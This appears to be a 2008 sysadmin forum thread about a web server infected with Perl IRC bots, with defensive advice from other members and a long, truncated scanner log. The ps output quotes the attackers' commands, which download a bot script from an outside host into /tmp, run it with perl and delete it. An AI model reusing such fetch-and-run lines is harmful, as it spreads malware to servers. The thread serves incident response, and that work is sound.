Security Issues, my /tmp is full of IRC bots!

[thedutchlaw]

1) Nobody has my root password
2) SSH is ip-restriced
3) tmp is noexec protected
4) Lots of strange perl processes
5) Server often connects to irc.quakenet.org and irc.undernet.org

Code:
[root@server06 .hu]# ls
u.tar.gz
[root@server06 .hu]# cd .u
[root@server06 .u]# ls
autorun bash cron.d inst LinkEvents mech.dir m.help m.lev m.pid r run start update vhosts xh
[root@server06 .u]# ls -al
total 620
drwxr-xr-x 3 apache apache 4096 Oct 20 2007 .
drwxr-xr-x 3 apache apache 4096 Sep 21 17:49 ..
-rwxr-xr-x 1 apache apache 317 Oct 30 2006 autorun
-rwxr-xr-x 1 apache apache 492135 Oct 30 2006 bash
-rw-r--r-- 1 apache apache 77 Oct 11 2007 cron.d
-rwxr-xr-x 1 apache apache 17269 Sep 4 14:45 inst
-rwxr-xr-x 1 apache apache 1896 Oct 18 2007 LinkEvents
-rw-r--r-- 1 apache apache 44 Oct 11 2007 mech.dir
-rwxr-xr-x 1 apache apache 22882 Oct 30 2006 m.help
-rw-r--r-- 1 apache apache 1043 Oct 20 2007 m.lev
-rw------- 1 apache apache 6 Oct 11 2007 m.pid
drwxr-xr-x 2 apache apache 4096 May 24 2007 r
-rwxr-xr-x 1 apache apache 29 Oct 30 2006 run
-rwxr-xr-x 1 apache apache 784 Sep 4 14:44 start
-rwxr--r-- 1 apache apache 259 Oct 11 2007 update
-rw-r--r-- 1 apache apache 170 Sep 4 14:52 .user
-rw-r--r-- 1 apache apache 170 Sep 4 14:53 .user2
-rw-r--r-- 1 apache apache 90 Oct 11 2007 vhosts
-rwxr-xr-x 1 apache apache 28489 Oct 30 2006 xh
[root@server06 .u]# cd ..
[root@server06 .hu]# cd ..
[root@server06 tmp]# ls
autoinstaller3.log importKyJ7QE psa-rblmng-script___problems.080918.14.42.log
autoinstaller_system_packages.cache lost+found psa-rblmng-script___reconfiguration.080918.14.42.log
catalina-5.5.23.jar.so29lbav.so naming-resources-5.5.23.jar.so29lbay.so spamd_full.sock
catalina-5.5.23.jar.so29lbaw.so psa-installer.lock test
catalina-5.5.23.jar.so29lbaz.so psa-kronolith_2.1.6_cos5.build83071218.18_installing.080918.16.25.log tomcat-util-5.5.23.jar.so29lbax.so
catalina-5.5.23.jar.so29lbb0.so psa-kronolith_2.1.6_cos5.build83071218.18_problems.080918.16.25.log up.tst30784
[root@server06 tmp]root 4412 0.0 0.0 80460 2520 ? S 19:00 0:00 /usr/bin/perl /usr/sbin/sendmail -FCronDaemon -i -odi -oem -oi -t
qmaild 16564 0.0 0.0 90144 3964 ? Ss 19:38 0:00 /usr/bin/perl -w /var/qmail/bin/greylist /var/qmail/bin/qmail-smtpd /var/qmail/bin/smtp_auth /var/qmail/bin/true /var/qmail/bin/cmd5checkpw /var/qmail/bin/true
root 21003 0.0 0.0 80464 2524 ? S 19:42 0:00 /usr/bin/perl /usr/sbin/sendmail -FCronDaemon -i -odi -oem -oi -t
qmaild 23555 0.0 0.0 90148 3968 ? Ss 19:44 0:00 /usr/bin/perl -w /var/qmail/bin/greylist /var/qmail/bin/qmail-smtpd /var/qmail/bin/smtp_auth /var/qmail/bin/true /var/qmail/bin/cmd5checkpw /var/qmail/bin/true
apache 23567 0.0 0.0 8652 948 ? S 19:44 0:00 sh -c cd /tmp;GET ht:wwhuxleyiowa.org/Calendar2/tools/bot;perl bot;rm -f bot*;
apache 23574 0.0 0.2 41044 8116 ? S 19:44 0:00 /usr/bin/perl -w /usr/bin/GET ht:wwhuxleyiowa.org/Calendar2/tools/bot
qmaild 25665 0.0 0.0 90148 3972 ? Ss 19:44 0:00 /usr/bin/perl -w /var/qmail/bin/greylist /var/qmail/bin/qmail-smtpd /var/qmail/bin/smtp_auth /var/qmail/bin/true /var/qmail/bin/cmd5checkpw /var/qmail/bin/true
apache 25697 0.0 0.0 8652 948 ? S 19:45 0:00 sh -c cd /tmp;wget ht:/huxleyiowa.org/Calendar2/tools/bot ;perl bot;rm -f bot*;
10114 25707 0.0 0.0 80464 2520 ? S 19:45 0:00 /usr/bin/perl /usr/sbin/sendmail -FCronDaemon -i -odi -oem -oi -t
qmaild 25711 0.1 0.0 90148 3972 ? Ss 19:45 0:00 /usr/bin/perl -w /var/qmail/bin/greylist /var/qmail/bin/qmail-smtpd /var/qmail/bin/smtp_auth /var/qmail/bin/true /var/qmail/bin/cmd5checkpw /var/qmail/bin/true
root 25728 0.0 0.0 61204 740 pts/0 R+ 19:45 0:00 grep perl
[root@server06 ~]# ps aux | grep
[root@server06 ~]#
I would honestly like some advise very much!
Server is a Dual Xeon E5335 with 4GB DDR2, but abused for IRC usage.
Also my e-mal queue gets filled a lot! Sometimes I have a queue of 5.000... but it's very hard to trace, even though I log even mail sent, it's hard to find out which spam e-mail has been sent via which file!

[DigitalLinx]

Most likely some of your customers have been compromised, I suggest grepping recursively in their www dirs for system() passthru() and other shell functions to locate the "php shells" and notifying the affected customers to upgrade/patch their CMS application.

[servertechs]

you should harden the tmp directory.

[thedutchlaw]

Harden my tmp directory? I already have executed the steps according to eth0.us/tmp. So that means my tmp directory is hardened. I have tried to execute /tmp/test and it says: "permission denied", even though the file is 755.

Search trhough user files? Well, the problem will probably indeed be a client of mine using compromised scripting. However, they should not be able to access IRC servers via perl... I think it's absurd that a hacker can easily run an IRC-bot on a plain Plesk server with e.g. Joomla 1.0.

I appreciate your replies and I guess I will have to grep all the 60GB of userfiles... but can this grep command be completely ran in 1 night?

[zacharooni]

What kind of firewall do you have?

[DigitalLinx]

You could just block outbound traffic for default IRC ports like 6660-6669 and 7000 port, but that still doesn't resolve the issue that just about anyone can issue system commands on your server because of irresponsible customer.

[thedutchlaw]

I use CSF Firewall.
I have actually blocked those ports via the Firewall, some way people still seem to be able to use the IRC-bots.

The problem is that perl causes huge 99% CPU processes a lot of the time and I don't feel having a secure server anymore despite running fully upgraded CentOS with newest Plesk secured in a lot of ways: tmp noexec, firewall, ssh protect, safemode on, etc.

[Tim Greer]

Well, it's not Perl that's the issue, and exploits and irc bots can be in C, C++, PHP, etc. as well. IRC bot coders try and be stealthy, rather than efficient, in their coding practices, so you'll see high CPU loads.

You should implement some solutions such as suexec for CGI and suPHP for PHP, so you can immediately know what users are having their account or scripts compromised.

You can track down the current running processes with various tools and commands, but since I don't know what you've yet done, it's difficult to suggest.

With your firewalls, you should do more than CFS and either add to it or roll out your own (preexisting firewall scripts and recipes aren't usually that great). First, block incoming access to any service/ports you don't have a legitimate service running behind. Then, set what ports can be connected out from (and if you can, set it so only specific destinations can be accessed over what ports).

Add some type of process monitoring and have it track, log and fill off the processes that are running too long, have suspicious paths and environments, or anything that's been using too much CPU or memory. You can also implement memory, cpu, processing, etc. for both shell and the web server, so it'll prevent these from being launched.

There are truly a lot of things you can do to help and even wholly prevent a lot of issues like this, and it goes far beyond partition mounting options (it's easy enough to bypass noexec mount options, for example), standard firewall scripts, SSH protections and PHP settings (like safemode, openbasedir, etc.) I just am trying not to go on and on, especially since I don't know the specifics and what you've done or how your system is configured.

[nbh1]

after locating and cleaning the exploited accounts and files I would suggest mod_security with a custom policy. suPHP is what we suggest along with suexec as well.

[Xous]

Hi,

Since the files you listed have been created by the apache user it is probably safe to assume that the exploit was likely a php/perl/cgi/etc script that caused the problem.

You need to find the pid's of the process and investigate the running scripts to determine how they were executed.

lsof -p pid
cat /proc/pid/environ

Will likely turn up some interesting information if you know what to look for.

[thedutchlaw]

CSF Firewall says port 6667 is closed, it only allows a few ports.
If I ssh the server via an IP that is no whitelisted, the firewall perfectly refuses connection.
Port 6667 should be closed as well, but I have received some e-mail warnings that my server is running IRC bots.

I wish to know which PHP, Perl, etc. scripts are used to upload and/or run the specific botfiles.

Xous: I try lsof -p pid all the time, it often refers to a LOT error_log files... about 300... the amount of sites on the server. The command doesn't help me much.
nbh1: I tried mod_security, but I had to remove like 20 rules to get sites working... and even after that, phpMyAdmin kept giving internal server errors. It loses me too convenience.

Do you people recommend suPHP for a secure server?
Will this cause /tmp/.h to have user.user instead of apache.apache without the server losing performance?

[DigitalLinx]

suPHP could break your customer's sites as well, enforcing security measurements usually do that, breaks convenience.
I think you're little confused about the firewall rules, you're blocking inbound connections to port 6667 but I assume that outbound connections are still allowed, i.e. a customer incoming connections from outside to your server on port 6667 are blocked, however connection established from your server to outside aren't.

[Steven]

suPHP could break your customer's sites as well, enforcing security measurements usually do that, breaks convenience.
I think you're little confused about the firewall rules, you're blocking inbound connections to port 6667 but I assume that outbound connections are still allowed, i.e. a customer incoming connections from outside to your server on port 6667 are blocked, however connection established from your server to outside aren't.

A little extra work and you can alleviate any issues suphp brings. I've moved servers with 1000+ sites to suphp with minimal issues.

Just because it breaks convenience doesn't mean its not a good thing to do. System administration is not about convenience.

[servertechs]

Hi,

it looks the files that you have listed it's been created by the apache. It seems this exploit was caused by perl script. I would suggest you to set mod_security with advance rule. Also compile apache with suPHP and suexec it's good one.

[Tim Greer]

I'm unsure where the conclusion was that it was caused by an exploitable Perl script. The exploit itself appears to be using Perl, but there's no indication of the originating hole. The fact it's running as the global web server user, usually indicates a PHP script was exploited, because almost any new install of Apache, especially on Cpanel based servers, will have suexec (CGI wrapper) enabled, meaning that CGI scripts (in Perl, C, PHP, whatever) are running as the user's own uid/gid. So, it appears more likely a PHP script was exploited to be able to upload a Perl, shell (and usually C as well) exploit script or binary (which is the one that was actually running). There's a lot to cover here, honestly, you might want to hire the services of a qualified admin to get this resolved.

[thedutchlaw]

Nobody Check 1.0.3 Current on Plesk

Sat Sep 27 07:00:01 CEST 2008 on server05.google.nl Server Load: 07:00:01 up 9 days, 16:59, 0 users, load average: 0.22, 0.33, 0.34
Warning: Malicious Nobody Process Found
=========================================
Options: kill bad proc=1 logging lvl=1

SCAN SUMMARY
========================================

Clean Processes: 34
DETECTED Malicious Processes: 13


DETECTION DETAILS
========================================



DETECTION: Process 32448 with name perl and path /usr/bin/perl
DETECTION: Process 32436 with name perl and path /usr/bin/perl
DETECTION: Process 32432 with name perl and path /usr/bin/perl
DETECTION: Process 32429 with name perl and path /usr/bin/perl
DETECTION: Process 32424 with name perl and path /usr/bin/perl
DETECTION: Process 32422 with name perl and path /usr/bin/perl
DETECTION: Process 32420 with name perl and path /usr/bin/perl
DETECTION: Process 32418 with name perl and path /usr/bin/perl
DETECTION: Process 32416 with name perl and path /usr/bin/perl
DETECTION: Process 32353 with name perl and path /usr/bin/perl
DETECTION: Process 32351 with name perl and path /usr/bin/perl
DETECTION: Process 32349 with name perl and path /usr/bin/perl
DETECTION: Process 32347 with name perl and path /usr/bin/perl


Process ID: 32448 has been killed
Restuls for PID: 32448
total 0
dr-xr-xr-x 5 apache apache 0 Sep 27 06:06 .
dr-xr-xr-x 228 root root 0 Sep 17 13:53 ..
dr-xr-xr-x 2 apache apache 0 Sep 27 07:00 attr
-r-------- 1 apache apache 0 Sep 27 07:00 auxv
-r--r--r-- 1 apache apache 0 Sep 27 07:00 cmdline
-r--r--r-- 1 apache apache 0 Sep 27 07:00 cpuset
lrwxrwxrwx 1 apache apache 0 Sep 27 07:00 cwd -> /tmp
-r-------- 1 apache apache 0 Sep 27 07:00 environ
lrwxrwxrwx 1 apache apache 0 Sep 27 06:06 exe -> /usr/bin/perl
dr-x------ 2 apache apache 0 Sep 27 07:00 fd
-rw-r--r-- 1 apache apache 0 Sep 27 07:00 loginuid
-r--r--r-- 1 apache apache 0 Sep 27 07:00 maps
-rw------- 1 apache apache 0 Sep 27 07:00 mem
-r--r--r-- 1 apache apache 0 Sep 27 07:00 mounts
-r-------- 1 apache apache 0 Sep 27 07:00 mountstats
-r--r--r-- 1 apache apache 0 Sep 27 07:00 numa_maps
-rw-r--r-- 1 apache apache 0 Sep 27 07:00 oom_adj
-r--r--r-- 1 apache apache 0 Sep 27 07:00 oom_score
lrwxrwxrwx 1 apache apache 0 Sep 27 07:00 root -> /
-r--r--r-- 1 apache apache 0 Sep 27 07:00 schedstat
-r-------- 1 apache apache 0 Sep 27 07:00 smaps
-r--r--r-- 1 apache apache 0 Sep 27 06:06 stat
-r--r--r-- 1 apache apache 0 Sep 27 07:00 statm
-r--r--r-- 1 apache apache 0 Sep 27 07:00 status
dr-xr-xr-x 3 apache apache 0 Sep 27 07:00 task
-r--r--r-- 1 apache apache 0 Sep 27 07:00 wchan

Netstat:
tcp 0 0 132.102.91.12:49609 64.233.183.104:80 ESTABLISHED 32448/httpd

Environ:


Process ID: 32436 has been killed
Restuls for PID: 32436
total 0
dr-xr-xr-x 5 apache apache 0 Sep 27 06:06 .
dr-xr-xr-x 228 root root 0 Sep 17 13:53 ..
dr-xr-xr-x 2 apache apache 0 Sep 27 07:00 attr
-r-------- 1 apache apache 0 Sep 27 07:00 auxv
-r--r--r-- 1 apache apache 0 Sep 27 07:00 cmdline
-r--r--r-- 1 apache apache 0 Sep 27 07:00 cpuset
lrwxrwxrwx 1 apache apache 0 Sep 27 07:00 cwd -> /tmp
-r-------- 1 apache apache 0 Sep 27 07:00 environ
lrwxrwxrwx 1 apache apache 0 Sep 27 06:06 exe -> /usr/bin/perl
dr-x------ 2 apache apache 0 Sep 27 07:00 fd
-rw-r--r-- 1 apache apache 0 Sep 27 07:00 loginuid
-r--r--r-- 1 apache apache 0 Sep 27 07:00 maps
-rw------- 1 apache apache 0 Sep 27 07:00 mem
-r--r--r-- 1 apache apache 0 Sep 27 07:00 mounts
-r-------- 1 apache apache 0 Sep 27 07:00 mountstats
-r--r--r-- 1 apache apache 0 Sep 27 07:00 numa_maps
-rw-r--r-- 1 apache apache 0 Sep 27 07:00 oom_adj
-r--r--r-- 1 apache apache 0 Sep 27 07:00 oom_score
lrwxrwxrwx 1 apache apache 0 Sep 27 07:00 root -> /
-r--r--r-- 1 apache apache 0 Sep 27 07:00 schedstat
-r-------- 1 apache apache 0 Sep 27 07:00 smaps
-r--r--r-- 1 apache apache 0 Sep 27 06:06 stat
-r--r--r-- 1 apache apache 0 Sep 27 07:00 statm
-r--r--r-- 1 apache apache 0 Sep 27 07:00 status
dr-xr-xr-x 3 apache apache 0 Sep 27 07:00 task
-r--r--r-- 1 apache apache 0 Sep 27 07:00 wchan

Netstat:
tcp 0 0 132.102.91.12:49636 64.233.183.104:80 ESTABLISHED 32436/httpd

Environ:


Process ID: 32432 has been killed
Restuls for PID: 32432
total 0
dr-xr-xr-x 5 apache apache 0 Sep 27 06:06 .
dr-xr-xr-x 231 root root 0 Sep 17 13:53 ..
dr-xr-xr-x 2 apache apache 0 Sep 27 07:00 attr
-r-------- 1 apache apache 0 Sep 27 07:00 auxv
-r--r--r-- 1 apache apache 0 Sep 27 07:00 cmdline
-r--r--r-- 1 apache apache 0 Sep 27 07:00 cpuset
lrwxrwxrwx 1 apache apache 0 Sep 27 07:00 cwd -> /tmp
-r-------- 1 apache apache 0 Sep 27 07:00 environ
lrwxrwxrwx 1 apache apache 0 Sep 27 06:06 exe -> /usr/bin/perl
dr-x------ 2 apache apache 0 Sep 27 07:00 fd
-rw-r--r-- 1 apache apache 0 Sep 27 07:00 loginuid
-r--r--r-- 1 apache apache 0 Sep 27 07:00 maps
-rw------- 1 apache apache 0 Sep 27 07:00 mem
-r--r--r-- 1 apache apache 0 Sep 27 07:00 mounts
-r-------- 1 apache apache 0 Sep 27 07:00 mountstats
-r--r--r-- 1 apache apache 0 Sep 27 07:00 numa_maps
-rw-r--r-- 1 apache apache 0 Sep 27 07:00 oom_adj
-r--r--r-- 1 apache apache 0 Sep 27 07:00 oom_score
lrwxrwxrwx 1 apache apache 0 Sep 27 07:00 root -> /
-r--r--r-- 1 apache apache 0 Sep 27 07:00 schedstat
-r-------- 1 apache apache 0 Sep 27 07:00 smaps
-r--r--r-- 1 apache apache 0 Sep 27 06:06 stat
-r--r--r-- 1 apache apache 0 Sep 27 07:00 statm
-r--r--r-- 1 apache apache 0 Sep 27 07:00 status
dr-xr-xr-x 3 apache apache 0 Sep 27 07:00 task
-r--r--r-- 1 apache apache 0 Sep 27 07:00 wchan

Netstat:
tcp 0 0 132.102.91.12:49597 64.233.183.104:80 ESTABLISHED 32432/httpd

Environ:


Process ID: 32429 has been killed
Restuls for PID: 32429
total 0
dr-xr-xr-x 5 apache apache 0 Sep 27 06:06 .
dr-xr-xr-x 231 root root 0 Sep 17 13:53 ..
dr-xr-xr-x 2 apache apache 0 Sep 27 07:00 attr
-r-------- 1 apache apache 0 Sep 27 07:00 auxv
-r--r--r-- 1 apache apache 0 Sep 27 07:00 cmdline
-r--r--r-- 1 apache apache 0 Sep 27 07:00 cpuset
lrwxrwxrwx 1 apache apache 0 Sep 27 07:00 cwd -> /tmp
-r-------- 1 apache apache 0 Sep 27 07:00 environ
lrwxrwxrwx 1 apache apache 0 Sep 27 06:06 exe -> /usr/bin/perl
dr-x------ 2 apache apache 0 Sep 27 07:00 fd
-rw-r--r-- 1 apache apache 0 Sep 27 07:00 loginuid
-r--r--r-- 1 apache apache 0 Sep 27 07:00 maps
-rw------- 1 apache apache 0 Sep 27 07:00 mem
-r--r--r-- 1 apache apache 0 Sep 27 06:19 mounts
-r-------- 1 apache apache 0 Sep 27 07:00 mountstats
-r--r--r-- 1 apache apache 0 Sep 27 07:00 numa_maps
-rw-r--r-- 1 apache apache 0 Sep 27 07:00 oom_adj
-r--r--r-- 1 apache apache 0 Sep 27 07:00 oom_score
lrwxrwxrwx 1 apache apache 0 Sep 27 07:00 root -> /
-r--r--r-- 1 apache apache 0 Sep 27 07:00 schedstat
-r-------- 1 apache apache 0 Sep 27 07:00 smaps
-r--r--r-- 1 apache apache 0 Sep 27 06:06 stat
-r--r--r-- 1 apache apache 0 Sep 27 07:00 statm
-r--r--r-- 1 apache apache 0 Sep 27 07:00 status
dr-xr-xr-x 3 apache apache 0 Sep 27 07:00 task
-r--r--r-- 1 apache apache 0 Sep 27 07:00 wchan

Netstat:
tcp 0 0 132.102.91.12:49621 64.233.183.104:80 ESTABLISHED 32429/httpd

Environ:


Process ID: 32424 has been killed
Restuls for PID: 32424
total 0
dr-xr-xr-x 5 apache apache 0 Sep 27 06:06 .
dr-xr-xr-x 231 root root 0 Sep 17 13:53 ..
dr-xr-xr-x 2 apache apache 0 Sep 27 07:00 attr
-r-------- 1 apache apache 0 Sep 27 07:00 auxv
-r--r--r-- 1 apache apache 0 Sep 27 07:00 cmdline
-r--r--r-- 1 apache apache 0 Sep 27 07:00 cpuset
lrwxrwxrwx 1 apache apache 0 Sep 27 07:00 cwd -> /tmp
-r-------- 1 apache apache 0 Sep 27 07:00 environ
lrwxrwxrwx 1 apache apache 0 Sep 27 06:06 exe -> /usr/bin/perl
dr-x------ 2 apache apache 0 Sep 27 07:00 fd
-rw-r--r-- 1 apache apache 0 Sep 27 07:00 loginuid
-r--r--r-- 1 apache apache 0 Sep 27 07:00 maps
-rw------- 1 apache apache 0 Sep 27 07:00 mem
-r--r--r-- 1 apache apache 0 Sep 27 07:00 mounts
-r-------- 1 apache apache 0 Sep 27 07:00 mountstats
-r--r--r-- 1 apache apache 0 Sep 27 07:00 numa_maps
-rw-r--r-- 1 apache apache 0 Sep 27 07:00 oom_adj
-r--r--r-- 1 apache apache 0 Sep 27 07:00 oom_score
lrwxrwxrwx 1 apache apache 0 Sep 27 07:00 root -> /
-r--r--r-- 1 apache apache 0 Sep 27 07:00 schedstat
-r-------- 1 apache apache 0 Sep 27 07:00 smaps
-r--r--r-- 1 apache apache 0 Sep 27 06:06 stat
-r--r--r-- 1 apache apache 0 Sep 27 07:00 statm
-r--r--r-- 1 apache apache 0 Sep 27 07:00 status
dr-xr-xr-x 3 apache apache 0 Sep 27 07:00 task
-r--r--r-- 1 apache apache 0 Sep 27 07:00 wchan

Netstat:
tcp 0 0 132.102.91.12:49596 64.233.183.104:80 ESTABLISHED 32424/httpd

Environ:


Process ID: 32422 has been killed
Restuls for PID: 32422
total 0
dr-xr-xr-x 5 apache apache 0 Sep 27 06:06 .
dr-xr-xr-x 235 root root 0 Sep 17 13:53 ..
dr-xr-xr-x 2 apache apache 0 Sep 27 07:00 attr
-r-------- 1 apache apache 0 Sep 27 07:00 auxv
-r--r--r-- 1 apache apache 0 Sep 27 07:00 cmdline
-r--r--r-- 1 apache apache 0 Sep 27 07:00 cpuset
lrwxrwxrwx 1 apache apache 0 Sep 27 07:00 cwd -> /tmp
-r-------- 1 apache apache 0 Sep 27 07:00 environ
lrwxrwxrwx 1 apache apache 0 Sep 27 06:06 exe -> /usr/bin/perl
dr-x------ 2 apache apache 0 Sep 27 07:00 fd
-rw-r--r-- 1 apache apache 0 Sep 27 07:00 loginuid
-r--r--r-- 1 apache apache 0 Sep 27 07:00 maps
-rw------- 1 apache apache 0 Sep 27 07:00 mem
-r--r--r-- 1 apache apache 0 Sep 27 07:00 mounts
-r-------- 1 apache apache 0 Sep 27 07:00 mountstats
-r--r--r-- 1 apache apache 0 Sep 27 07:00 numa_maps
-rw-r--r-- 1 apache apache 0 Sep 27 07:00 oom_adj
-r--r--r-- 1 apache apache 0 Sep 27 07:00 oom_score
lrwxrwxrwx 1 apache apache 0 Sep 27 07:00 root -> /
-r--r--r-- 1 apache apache 0 Sep 27 07:00 schedstat
-r-------- 1 apache apache 0 Sep 27 07:00 smaps
-r--r--r-- 1 apache apache 0 Sep 27 06:06 stat
-r--r--r-- 1 apache apache 0 Sep 27 07:00 statm
-r--r--r-- 1 apache apache 0 Sep 27 07:00 status
dr-xr-xr-x 3 apache apache 0 Sep 27 07:00 task
-r--r--r-- 1 apache apache 0 Sep 27 07:00 wchan

Netstat:
tcp 0 0 132.102.91.12:49614 64.233.183.104:80 ESTABLISHED 32422/httpd

Environ:


Process ID: 32420 has been killed
Restuls for PID: 32420
total 0
dr-xr-xr-x 5 apache apache 0 Sep 27 06:06 .
dr-xr-xr-x 238 root root 0 Sep 17 13:53 ..
dr-xr-xr-x 2 apache apache 0 Sep 27 07:00 attr
-r-------- 1 apache apache 0 Sep 27 07:00 auxv
-r--r--r-- 1 apache apache 0 Sep 27 07:00 cmdline
-r--r--r-- 1 apache apache 0 Sep 27 07:00 cpuset
lrwxrwxrwx 1 apache apache 0 Sep 27 07:00 cwd -> /tmp
-r-------- 1 apache apache 0 Sep 27 07:00 environ
lrwxrwxrwx 1 apache apache 0 Sep 27 06:06 exe -> /usr/bin/perl
dr-x------ 2 apache apache 0 Sep 27 07:00 fd
-rw-r--r-- 1 apache apache 0 Sep 27 07:00 loginuid
-r--r--r-- 1 apache apache 0 Sep 27 07:00 maps
-rw------- 1 apache apache 0 Sep 27 07:00 mem
-r--r--r-- 1 apache apache 0 Sep 27 07:00 mounts
-r-------- 1 apache apache 0 Sep 27 07:00 mountstats
-r--r--r-- 1 apache apache 0 Sep 27 07:00 numa_maps
-rw-r--r-- 1 apache apache 0 Sep 27 07:00 oom_adj
-r--r--r-- 1 apache apache 0 Sep 27 07:00 oom_score
lrwxrwxrwx 1 apache apache 0 Sep 27 07:00 root -> /
-r--r--r-- 1 apache apache 0 Sep 27 07:00 schedstat
-r-------- 1 apache apache 0 Sep 27 07:00 smaps
-r--r--r-- 1 apache apache 0 Sep 27 06:06 stat
-r--r--r-- 1 apache apache 0 Sep 27 07:00 statm
-r--r--r-- 1 apache apache 0 Sep 27 07:00 status
dr-xr-xr-x 3 apache apache 0 Sep 27 07:00 task
-r--r--r-- 1 apache apache 0 Sep 27 07:00 wchan

Netstat:
tcp 0 0 132.102.91.12:49637 64.233.183.104:80 ESTABLISHED 32420/httpd

Environ:


Process ID: 32418 has been killed
Restuls for PID: 32418
total 0
dr-xr-xr-x 5 apache apache 0 Sep 27 06:06 .
dr-xr-xr-x 238 root root 0 Sep 17 13:53 ..
dr-xr-xr-x 2 apache apache 0 Sep 27 07:00 attr
-r-------- 1 apache apache 0 Sep 27 07:00 auxv
-r--r--r-- 1 apache apache 0 Sep 27 07:00 cmdline
-r--r--r-- 1 apache apache 0 Sep 27 07:00 cpuset
lrwxrwxrwx 1 apache apache 0 Sep 27 07:00 cwd -> /tmp
-r-------- 1 apache apache 0 Sep 27 07:00 environ
lrwxrwxrwx 1 apache apache 0 Sep 27 06:06 exe -> /usr/bin/perl
dr-x------ 2 apache apache 0 Sep 27 07:00 fd
-rw-r--r-- 1 apache apache 0 Sep 27 07:00 loginuid
-r--r--r-- 1 apache apache 0 Sep 27 07:00 maps
-rw------- 1 apache apache 0 Sep 27 07:00 mem
-r--r--r-- 1 apache apache 0 Sep 27 07:00 mounts
-r-------- 1 apache apache 0 Sep 27 07:00 mountstats
-r--r--r-- 1 apache apache 0 Sep 27 07:00 numa_maps
-rw-r--r-- 1 apache apache 0 Sep 27 07:00 oom_adj
-r--r--r-- 1 apache apache 0 Sep 27 07:00 oom_score
lrwxrwxrwx 1 apache apache 0 Sep 27 07:00 root -> /
-r--r--r-- 1 apache apache 0 Sep 27 07:00 schedstat
-r-------- 1 apache apache 0 Sep 27 07:00 smaps
-r--r--r-- 1 apache apache 0 Sep 27 06:06 stat
-r--r--r-- 1 apache apache 0 Sep 27 07:00 statm
-r--r--r-- 1 apache apache 0 Sep 27 07:00 status
dr-xr-xr-x 3 apache apache 0 Sep 27 07:00 task
-r--r--r-- 1 apache apache 0 Sep 27 07:00 wchan

Netstat:
tcp 0 0 132.102.91.12:49526 216.246.29.20:80 ESTABLISHED 32418/httpd

Environ:


Process ID: 32416 has been killed
Restuls for PID: 32416
total 0
dr-xr-xr-x 5 apache apache 0 Sep 27 06:06 .
dr-xr-xr-x 240 root root 0 Sep 17 13:53 ..
dr-xr-xr-x 2 apache apache 0 Sep 27 07:00 attr
-r-------- 1 apache apache 0 Sep 27 07:00 auxv
-r--r--r-- 1 apache apache 0 Sep 27 07:00 cmdline
-r--r--r-- 1 apache apache 0 Sep 27 07:00 cpuset
lrwxrwxrwx 1 apache apache 0 Sep 27 07:00 cwd -> /tmp
-r-------- 1 apache apache 0 Sep 27 07:00 environ
lrwxrwxrwx 1 apache apache 0 Sep 27 06:06 exe -> /usr/bin/perl
dr-x------ 2 apache apache 0 Sep 27 07:00 fd
-rw-r--r-- 1 apache apache 0 Sep 27 07:00 loginuid
-r--r--r-- 1 apache apache 0 Sep 27 07:00 maps
-rw------- 1 apache apache 0 Sep 27 07:00 mem
-r--r--r-- 1 apache apache 0 Sep 27 06:07 mounts
-r-------- 1 apache apache 0 Sep 27 07:00 mountstats
-r--r--r-- 1 apache apache 0 Sep 27 07:00 numa_maps
-rw-r--r-- 1 apache apache 0 Sep 27 07:00 oom_adj
-r--r--r-- 1 apache apache 0 Sep 27 07:00 oom_score
lrwxrwxrwx 1 apache apache 0 Sep 27 07:00 root -> /
-r--r--r-- 1 apache apache 0 Sep 27 07:00 schedstat
-r-------- 1 apache apache 0 Sep 27 07:00 smaps
-r--r--r-- 1 apache apache 0 Sep 27 06:06 stat
-r--r--r-- 1 apache apache 0 Sep 27 07:00 statm
-r--r--r-- 1 apache apache 0 Sep 27 07:00 status
dr-xr-xr-x 3 apache apache 0 Sep 27 07:00 task
-r--r--r-- 1 apache apache 0 Sep 27 07:00 wchan

Netstat:
tcp 0 1 132.102.91.12:46545 124.217.243.106:80 SYN_SENT 32416/httpd

Environ:


Process ID: 32353 has been killed
Restuls for PID: 32353
total 0
dr-xr-xr-x 5 apache apache 0 Sep 27 06:01 .
dr-xr-xr-x 241 root root 0 Sep 17 13:53 ..
dr-xr-xr-x 2 apache apache 0 Sep 27 07:00 attr
-r-------- 1 apache apache 0 Sep 27 07:00 auxv
-r--r--r-- 1 apache apache 0 Sep 27 07:00 cmdline
-r--r--r-- 1 apache apache 0 Sep 27 07:00 cpuset
lrwxrwxrwx 1 apache apache 0 Sep 27 07:00 cwd -> /tmp
-r-------- 1 apache apache 0 Sep 27 07:00 environ
lrwxrwxrwx 1 apache apache 0 Sep 27 06:01 exe -> /usr/bin/perl
dr-x------ 2 apache apache 0 Sep 27 07:00 fd
-rw-r--r-- 1 apache apache 0 Sep 27 07:00 loginuid
-r--r--r-- 1 apache apache 0 Sep 27 07:00 maps
-rw------- 1 apache apache 0 Sep 27 07:00 mem
-r--r--r-- 1 apache apache 0 Sep 27 07:00 mounts
-r-------- 1 apache apache 0 Sep 27 07:00 mountstats
-r--r--r-- 1 apache apache 0 Sep 27 07:00 numa_maps
-rw-r--r-- 1 apache apache 0 Sep 27 07:00 oom_adj
-r--r--r-- 1 apache apache 0 Sep 27 07:00 oom_score
lrwxrwxrwx 1 apache apache 0 Sep 27 07:00 root -> /
-r--r--r-- 1 apache apache 0 Sep 27 07:00 schedstat
-r-------- 1 apache apache 0 Sep 27 07:00 smaps
-r--r--r-- 1 apache apache 0 Sep 27 06:01 stat
-r--r--r-- 1 apache apache 0 Sep 27 07:00 statm
-r--r--r-- 1 apache apache 0 Sep 27 07:00 status
dr-xr-xr-x 3 apache apache 0 Sep 27 07:00 task
-r--r--r-- 1 apache apache 0 Sep 27 07:00 wchan

Netstat:
tcp 0 0 132.102.91.12:57449 128.143.21.244:80 ESTABLISHED 32353/httpd

Environ:


Process ID: 32351 has been killed
Restuls for PID: 32351
total 0
dr-xr-xr-x 5 apache apache 0 Sep 27 06:01 .
dr-xr-xr-x 243 root root 0 Sep 17 13:53 ..
dr-xr-xr-x 2 apache apache 0 Sep 27 07:00 attr
-r-------- 1 apache apache 0 Sep 27 07:00 auxv
-r--r--r-- 1 apache apache 0 Sep 27 07:00 cmdline
-r--r--r-- 1 apache apache 0 Sep 27 07:00 cpuset
lrwxrwxrwx 1 apache apache 0 Sep 27 07:00 cwd -> /tmp
-r-------- 1 apache apache 0 Sep 27 07:00 environ
lrwxrwxrwx 1 apache apache 0 Sep 27 06:01 exe -> /usr/bin/perl
dr-x------ 2 apache apache 0 Sep 27 07:00 fd
